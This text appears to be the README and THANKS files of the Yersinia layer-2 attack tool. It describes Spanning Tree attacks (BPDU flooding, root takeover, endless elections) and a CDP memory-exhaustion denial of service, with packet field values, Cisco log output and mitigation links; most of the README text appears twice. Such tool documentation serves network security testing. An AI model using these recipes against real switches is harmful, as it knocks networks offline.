01:20:26: STP: VLAN0001 heard root 32768-4879.8036.0e24 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-2776.e340.9222 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-299e.de76.c07d on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-d38b.bc5b.e90d on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-78ee.0205.afdb on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b32b.e969.81b1 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b16b.c428.88a3 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-dd01.1436.9044 on Fa0/8
</output>
#2: DOS attack sending tcn BPDUs
This attack sends continously tcn BPDUs causing the root switch to send conf BPDUs acknowledging the change.
Besides, the root switch will send topology change notifications to the members of the tree, and they will
have to recalculate their STP engine to learn the new change.
Source MAC: randomly generated.
Destination MAC: 01:80:c2:00:00:00
<output from the cisco log>
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
</output>
#3: NONDOS attack Claiming Root Role
Now our aim is to get the root role of the tree. How can we accomplish this issue? Just listening to the network
to find out which one is the root role, and start sending conf BPDU with lower priority to become root.
Source MAC: same one as the sniffed BPDU.
Destination MAC: same one as the sniffed BPDU.
Bridge ID: the sniffed one slightly modified to have a lower priority
Root ID: 8000: same as bridge id.
Hello time: same one as the sniffed BPDU.
Forward delay: same one as the sniffed BPDU.
Max age: same one as the sniffed BPDU.
Root pathcost: same one as the sniffed BPDU.
<output from the cisco log>
01:58:48: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/8
01:58:48: supersedes 32769-000e.84d5.2280
01:58:48: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/8, cost 19
</output>
#4 NONDOS attack Claiming a non-root role
We pretend to be another weird switch playing with STP and praising our root id :)
#5 DOS attack causing eternal root elections
By sending config BPDUs autodecrementing their priority, we can cause infinite root elections in the STP tree.
It would be something similar to recount the election's votes to determine the winner (do you remember Florida?)
<output from the cisco log>
00:20:21: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
00:20:21: supersedes 32769-000e.84d5.2280
00:20:21: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
00:20:23: STP: VLAN0001 heard root 32769-000e.84d3.2280 on Fa0/9
00:20:23: supersedes 32769-000e.84d4.2280
00:20:23: STP: VLAN0001 new root is 32769, 000e.84d3.2280 on port Fa0/9, cost 19
00:20:25: STP: VLAN0001 heard root 32769-000e.84d2.2280 on Fa0/9
00:20:25: supersedes 32769-000e.84d3.2280
00:20:25: STP: VLAN0001 new root is 32769, 000e.84d2.2280 on port Fa0/9, cost 19
00:20:27: STP: VLAN0001 heard root 32769-000e.84d1.2280 on Fa0/9
00:20:27: supersedes 32769-000e.84d2.2280
00:20:27: STP: VLAN0001 new root is 32769, 000e.84d1.2280 on port Fa0/9, cost 19
00:20:29: STP: VLAN0001 heard root 32769-000e.84d0.2280 on Fa0/9
00:20:29: supersedes 32769-000e.84d1.2280
00:20:29: STP: VLAN0001 new root is 32769, 000e.84d0.2280 on port Fa0/9, cost 19
00:20:31: STP: VLAN0001 heard root 32769-000e.84cf.2280 on Fa0/9
00:20:31: supersedes 32769-000e.84d0.2280
00:20:31: STP: VLAN0001 new root is 32769, 000e.84cf.2280 on port Fa0/9, cost 19
00:20:33: STP: VLAN0001 heard root 32769-000e.84ce.2280 on Fa0/9
00:20:33: supersedes 32769-000e.84cf.2280
00:20:33: STP: VLAN0001 new root is 32769, 000e.84ce.2280 on port Fa0/9, cost 19
00:20:35: STP: VLAN0001 heard root 32769-000e.84cd.2280 on Fa0/9
00:20:35: supersedes 32769-000e.84ce.2280
00:20:35: STP: VLAN0001 new root is 32769, 000e.84cd.2280 on port Fa0/9, cost 19
00:20:37: STP: VLAN0001 heard root 32769-000e.84cc.2280 on Fa0/9
00:20:37: supersedes 32769-000e.84cd.2280
00:20:37: STP: VLAN0001 new root is 32769, 000e.84cc.2280 on port Fa0/9, cost 19
00:20:39: STP: VLAN0001 heard root 32769-000e.84cb.2280 on Fa0/9
00:20:39: supersedes 32769-000e.84cc.2280
00:20:39: STP: VLAN0001 new root is 32769, 000e.84cb.2280 on port Fa0/9, cost 19
</output>
#6 DOS Attack causing root dissapearance
This time we try to exhaust the root election proccess. We manage to become root in the STP tree,
but we stop sending config BPDUs until it reaches max_age seconds (usually 20), forcing a new
election proccess.
<output from the cisco log>
02:02:43: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
02:02:43: supersedes 32769-000e.84d5.2280
02:02:43: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
02:03:03: STP: VLAN0001 we are the spanning tree root
02:03:04: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
02:03:04: supersedes 32769-000e.84d5.2280
02:03:04: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
02:03:04: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:06: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:08: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:10: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:12: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:14: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:16: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:18: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:20: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:22: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:24: STP: VLAN0001 we are the spanning tree root
02:03:24: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
02:03:24: supersedes 32769-000e.84d5.2280
02:03:24: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
02:03:24: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:26: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:28: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:30: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:32: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:34: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:36: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:38: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:40: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:42: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:44: STP: VLAN0001 we are the spanning tree root
</output>
Mitigations (Cisco only)
------------------------
- Use port security and disable STP in those ports that don't require STP.
For information about port security, please check the following url:
http://www.cisco.com/en/US/products/hw/switches/ps628/products_configuration_guide_chapter09186a0080150bcd.html
- If you are using the portfast feature in your STP configuration, enable also the BPDU guard for avoiding these
attacks when the port automatically enters the forwarding state:
http://www.cisco.com/warp/public/473/65.html
- Use the root guard feature for avoiding rogue devices to become root:
http://www.cisco.com/en/US/tech/tk389/tk621/technologies_tech_note09186a00800ae96b.shtml
Further reading
---------------
- Guillermo Marro's nice Master Thesis:
http://seclab.cs.ucdavis.edu/papers/Marro_masters_thesis.pdf
- Oleg K. Artemjev, Vladislav V. Myasnyankin. Fun with the Spanning Tree Protocol
http://phrack.org/issues/61/12.html
CDP
---
Cisco devices have always spoken a different language to communicate among them,
to tell everybody that they are alive and which nifty features they have. CDP
stands for Cisco Discovery Protocol. By means of this particular language, Cisco
devices set up a virtual world where everyone is happy and ther is no crime at
all. Or at least it seems to be this way, since many network administrators
aren't worried for CDP yet. Although some of information that can be sent in a
CDP packet is still undocumented (CDP is a propietary protocol and it seems that
Cisco does not want to give details about it), at least one old attack (that it
is still valid) is known, and there is a public implementation (FX did it!).
This attack is a DoS trying to exhaust the device memory so that it can't
allocate more memory for any device process. How can we do it? Simply sending
CDP packets with bogus data simulating real Cisco devices. The target device
will begin to allocate memory in its CDP table to save the new neighbor
information, but without knowing that it is going to have thousands or millions
of new friends.
Other attack implemented in the current code is the ability to set up a new
virtual Cisco device that it is designated only for make a little mess, trying
to confuse network administrators.
Screenshot of the attack running:
Output of a Cisco 2503 router:
athens#sh mem
Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
Processor 4873C 3893444 3893444 0 0 0
I/O 400000 2097152 2097088 64 64 64
<log>
%SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57).
-Process= "CDP Protocol", ipl= 6, pid= 9
-Traceback= 3159232 31594DE 3201660
%LANCE-5-COLL: Unit 0, excessive collisions. TDR=7
%SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57).
-Process= "CDP Protocol", ipl= 6, pid= 9
-Traceback= 3159232 31594DE 3201660
%SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 314E8A4 314FA06 3201B46 32016C8
%SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57).
-Process= "CDP Protocol", ipl= 6, pid= 9
-Traceback= 3159232 31594DE 3201660
%SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 314E8A4 314FA06 3201B46 32016C8
%SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 314E8A4 314FA06 3201B46 32016C8
</log>
And a couple of minutes later after killing the attack, the router surprisingly gets halted for several seconds,
and then kicks you out of the terminal :)
<log>
%SYS-3-CPUHOG: Task ran for 16884 msec (69/69), Process = Exec, PC = 3158D42
-Traceback= 3158CEE 3158D4A 30F7330 30F742A 30FF3A4 30FEF76 30FEF1C 3116860
</log>
Output of a Cisco 2950 switch:
00:06:08: %SYS-2-MALLOCFAIL: Memory allocation of 224 bytes failed from 0x800118D0, alignment 0
Pool: Processor Free: 0 Cause: Not enough free memory
Alternate Pool: I/O Free: 32 Cause: Not enough free memory
-Process= "CDP Protocol", ipl= 0, pid= 26
-Traceback= 801DFC30 801E1DD8 800118D8 80011218 801D932C 801D9318
00:06:08: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:09: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:10: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:11: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:12: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:13: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:14: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:15: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:16: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:17: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:18: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:19: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:20: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:21: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:22: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:23: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:38: %SYS-2-MALLOCFAIL: Memory allocation of 140 bytes failed from 0x801E28BC, alignment 0
Pool: Processor Free: 0 Cause: Not enough free memory
Alternate Pool: I/O Free: 32 Cause: Not enough free memory
-Process= "Calhoun Statistics Process", ipl= 0, pid= 21
-Traceback= 801DFC30 801E1DD8 801E28C4 801F13BC 801F1470 802F7C90 802F9190 802F9788 801D932C 801D9318
00:06:38: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:39: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:40: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:41: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:42: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:44: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:45: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:46: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:47: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:48: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:49: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:50: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:59: %SYS-3-CPUHOG: Task ran for 2076 msec (11/10), process = Net Background, PC = 801ABD40.
-Traceback= 801ABD48 801D932C 801D9318
And then, the CDP process is totally down, even when we stop the attack. No more CDP babies...
================================================
FILE: README.md
================================================
[](https://travis-ci.org/tomac/yersinia)
Spanning Tree
-------------
# 1: DOS attack sending conf BPDUs
Let's send some conf BPDUs claiming be root!!! By sending continously conf BPDU with root pathcost 0, randomly
generated bridge id (and therefore the same root id), and some default values for other fields, we try to
annoy the switches close to us, causing a DoS when trying to parse and recalculate their STP engines.
Source MAC: randomly generated.
Destination MAC: 01:80:c2:00:00:00
Bridge ID: 8000:source_mac
Root ID: 8000:source_mac
Hello time: 2
Forward delay: 15
Max age: 20
Root pathcost: 0
<output from the cisco log>
01:20:26: STP: VLAN0001 heard root 32768-d1bf.6d60.097b on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-9ac6.0f72.7118 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-85a3.3662.43dc on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-3d84.bc1c.918e on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b2e2.1a12.dbb4 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-4ba6.2d45.5844 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-deb0.4f14.7288 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-4879.8036.0e24 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-2776.e340.9222 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-299e.de76.c07d on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-d38b.bc5b.e90d on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-78ee.0205.afdb on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b32b.e969.81b1 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b16b.c428.88a3 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-dd01.1436.9044 on Fa0/8
</output>
# 2: DOS attack sending tcn BPDUs
This attack sends continously tcn BPDUs causing the root switch to send conf BPDUs acknowledging the change.
Besides, the root switch will send topology change notifications to the members of the tree, and they will
have to recalculate their STP engine to learn the new change.
Source MAC: randomly generated.
Destination MAC: 01:80:c2:00:00:00
<output from the cisco log>
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
</output>
# 3: NONDOS attack Claiming Root Role
Now our aim is to get the root role of the tree. How can we accomplish this issue? Just listening to the network
to find out which one is the root role, and start sending conf BPDU with lower priority to become root.
Source MAC: same one as the sniffed BPDU.
Destination MAC: same one as the sniffed BPDU.
Bridge ID: the sniffed one slightly modified to have a lower priority
Root ID: 8000: same as bridge id.
Hello time: same one as the sniffed BPDU.
Forward delay: same one as the sniffed BPDU.
Max age: same one as the sniffed BPDU.
Root pathcost: same one as the sniffed BPDU.
<output from the cisco log>
01:58:48: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/8
01:58:48: supersedes 32769-000e.84d5.2280
01:58:48: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/8, cost 19
</output>
# 4 NONDOS attack Claiming a non-root role
We pretend to be another weird switch playing with STP and praising our root id :)
# 5 DOS attack causing eternal root elections
By sending config BPDUs autodecrementing their priority, we can cause infinite root elections in the STP tree.
It would be something similar to recount the election's votes to determine the winner (do you remember Florida?)
<output from the cisco log>
00:20:21: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
00:20:21: supersedes 32769-000e.84d5.2280
00:20:21: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
00:20:23: STP: VLAN0001 heard root 32769-000e.84d3.2280 on Fa0/9
00:20:23: supersedes 32769-000e.84d4.2280
00:20:23: STP: VLAN0001 new root is 32769, 000e.84d3.2280 on port Fa0/9, cost 19
00:20:25: STP: VLAN0001 heard root 32769-000e.84d2.2280 on Fa0/9
00:20:25: supersedes 32769-000e.84d3.2280
00:20:25: STP: VLAN0001 new root is 32769, 000e.84d2.2280 on port Fa0/9, cost 19
00:20:27: STP: VLAN0001 heard root 32769-000e.84d1.2280 on Fa0/9
00:20:27: supersedes 32769-000e.84d2.2280
00:20:27: STP: VLAN0001 new root is 32769, 000e.84d1.2280 on port Fa0/9, cost 19
00:20:29: STP: VLAN0001 heard root 32769-000e.84d0.2280 on Fa0/9
00:20:29: supersedes 32769-000e.84d1.2280
00:20:29: STP: VLAN0001 new root is 32769, 000e.84d0.2280 on port Fa0/9, cost 19
00:20:31: STP: VLAN0001 heard root 32769-000e.84cf.2280 on Fa0/9
00:20:31: supersedes 32769-000e.84d0.2280
00:20:31: STP: VLAN0001 new root is 32769, 000e.84cf.2280 on port Fa0/9, cost 19
00:20:33: STP: VLAN0001 heard root 32769-000e.84ce.2280 on Fa0/9
00:20:33: supersedes 32769-000e.84cf.2280
00:20:33: STP: VLAN0001 new root is 32769, 000e.84ce.2280 on port Fa0/9, cost 19
00:20:35: STP: VLAN0001 heard root 32769-000e.84cd.2280 on Fa0/9
00:20:35: supersedes 32769-000e.84ce.2280
00:20:35: STP: VLAN0001 new root is 32769, 000e.84cd.2280 on port Fa0/9, cost 19
00:20:37: STP: VLAN0001 heard root 32769-000e.84cc.2280 on Fa0/9
00:20:37: supersedes 32769-000e.84cd.2280
00:20:37: STP: VLAN0001 new root is 32769, 000e.84cc.2280 on port Fa0/9, cost 19
00:20:39: STP: VLAN0001 heard root 32769-000e.84cb.2280 on Fa0/9
00:20:39: supersedes 32769-000e.84cc.2280
00:20:39: STP: VLAN0001 new root is 32769, 000e.84cb.2280 on port Fa0/9, cost 19
</output>
# 6 DOS Attack causing root dissapearance
This time we try to exhaust the root election proccess. We manage to become root in the STP tree,
but we stop sending config BPDUs until it reaches max_age seconds (usually 20), forcing a new
election proccess.
<output from the cisco log>
02:02:43: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
02:02:43: supersedes 32769-000e.84d5.2280
02:02:43: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
02:03:03: STP: VLAN0001 we are the spanning tree root
02:03:04: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
02:03:04: supersedes 32769-000e.84d5.2280
02:03:04: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
02:03:04: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:06: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:08: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:10: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:12: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:14: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:16: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:18: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:20: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:22: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:24: STP: VLAN0001 we are the spanning tree root
02:03:24: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
02:03:24: supersedes 32769-000e.84d5.2280
02:03:24: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
02:03:24: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:26: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:28: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:30: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:32: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:34: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:36: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:38: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:40: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:42: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:44: STP: VLAN0001 we are the spanning tree root
</output>
Mitigations (Cisco only)
------------------------
- Use port security and disable STP in those ports that don't require STP.
For information about port security, please check the following url:
http://www.cisco.com/en/US/products/hw/switches/ps628/products_configuration_guide_chapter09186a0080150bcd.html
- If you are using the portfast feature in your STP configuration, enable also the BPDU guard for avoiding these
attacks when the port automatically enters the forwarding state:
http://www.cisco.com/warp/public/473/65.html
- Use the root guard feature for avoiding rogue devices to become root:
http://www.cisco.com/en/US/tech/tk389/tk621/technologies_tech_note09186a00800ae96b.shtml
Further reading
---------------
- Guillermo Marro's nice Master Thesis:
http://seclab.cs.ucdavis.edu/papers/Marro_masters_thesis.pdf
- Oleg K. Artemjev, Vladislav V. Myasnyankin. Fun with the Spanning Tree Protocol
http://phrack.org/issues/61/12.html
CDP
---
Cisco devices have always spoken a different language to communicate among them,
to tell everybody that they are alive and which nifty features they have. CDP
stands for Cisco Discovery Protocol. By means of this particular language, Cisco
devices set up a virtual world where everyone is happy and ther is no crime at
all. Or at least it seems to be this way, since many network administrators
aren't worried for CDP yet. Although some of information that can be sent in a
CDP packet is still undocumented (CDP is a propietary protocol and it seems that
Cisco does not want to give details about it), at least one old attack (that it
is still valid) is known, and there is a public implementation (FX did it!).
This attack is a DoS trying to exhaust the device memory so that it can't
allocate more memory for any device process. How can we do it? Simply sending
CDP packets with bogus data simulating real Cisco devices. The target device
will begin to allocate memory in its CDP table to save the new neighbor
information, but without knowing that it is going to have thousands or millions
of new friends.
Other attack implemented in the current code is the ability to set up a new
virtual Cisco device that it is designated only for make a little mess, trying
to confuse network administrators.
Screenshot of the attack running:
Output of a Cisco 2503 router:
athens#sh mem
Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
Processor 4873C 3893444 3893444 0 0 0
I/O 400000 2097152 2097088 64 64 64
<log>
%SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57).
-Process= "CDP Protocol", ipl= 6, pid= 9
-Traceback= 3159232 31594DE 3201660
%LANCE-5-COLL: Unit 0, excessive collisions. TDR=7
%SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57).
-Process= "CDP Protocol", ipl= 6, pid= 9
-Traceback= 3159232 31594DE 3201660
%SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 314E8A4 314FA06 3201B46 32016C8
%SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57).
-Process= "CDP Protocol", ipl= 6, pid= 9
-Traceback= 3159232 31594DE 3201660
%SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 314E8A4 314FA06 3201B46 32016C8
%SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 314E8A4 314FA06 3201B46 32016C8
</log>
And a couple of minutes later after killing the attack, the router surprisingly gets halted for several seconds,
and then kicks you out of the terminal :)
<log>
%SYS-3-CPUHOG: Task ran for 16884 msec (69/69), Process = Exec, PC = 3158D42
-Traceback= 3158CEE 3158D4A 30F7330 30F742A 30FF3A4 30FEF76 30FEF1C 3116860
</log>
Output of a Cisco 2950 switch:
00:06:08: %SYS-2-MALLOCFAIL: Memory allocation of 224 bytes failed from 0x800118D0, alignment 0
Pool: Processor Free: 0 Cause: Not enough free memory
Alternate Pool: I/O Free: 32 Cause: Not enough free memory
-Process= "CDP Protocol", ipl= 0, pid= 26
-Traceback= 801DFC30 801E1DD8 800118D8 80011218 801D932C 801D9318
00:06:08: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:09: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:10: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:11: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:12: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:13: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:14: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:15: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:16: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:17: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:18: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:19: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:20: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:21: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:22: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:23: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:38: %SYS-2-MALLOCFAIL: Memory allocation of 140 bytes failed from 0x801E28BC, alignment 0
Pool: Processor Free: 0 Cause: Not enough free memory
Alternate Pool: I/O Free: 32 Cause: Not enough free memory
-Process= "Calhoun Statistics Process", ipl= 0, pid= 21
-Traceback= 801DFC30 801E1DD8 801E28C4 801F13BC 801F1470 802F7C90 802F9190 802F9788 801D932C 801D9318
00:06:38: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:39: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:40: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:41: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:42: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:44: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:45: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:46: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:47: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:48: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:49: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:50: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:59: %SYS-3-CPUHOG: Task ran for 2076 msec (11/10), process = Net Background, PC = 801ABD40.
-Traceback= 801ABD48 801D932C 801D9318
And then, the CDP process is totally down, even when we stop the attack. No more CDP babies...
================================================
FILE: THANKS
================================================
Yersinia couln't have been possible without our friends support. We would like
to say thanks to many people but specially to:
Friends:
Tino (drenaier) for his support.
Jess (from jessland) for his advices and suggestions.
Pablo (darkcode) for his Sparc.
Misc:
Ebay for allowing us to buy some routers and switches.
Pizza Serranita for giving us strength.
Coca-cola light (diet in US) for keeping us awake.
Red Bull + Moskovskaya for clarifying our thoughts.
David:
Carlos (cfragoso) for his comments and SANS conferences.
My friends (Palencia, CM Alcal, S21sec) for letting me speak about yersinia
mostly at 5.00 am on Friday or Saturday ;)
Alfredo:
Conchi, for her patience
And finally, Mateo for being the future berhacker and the true center of my
life.
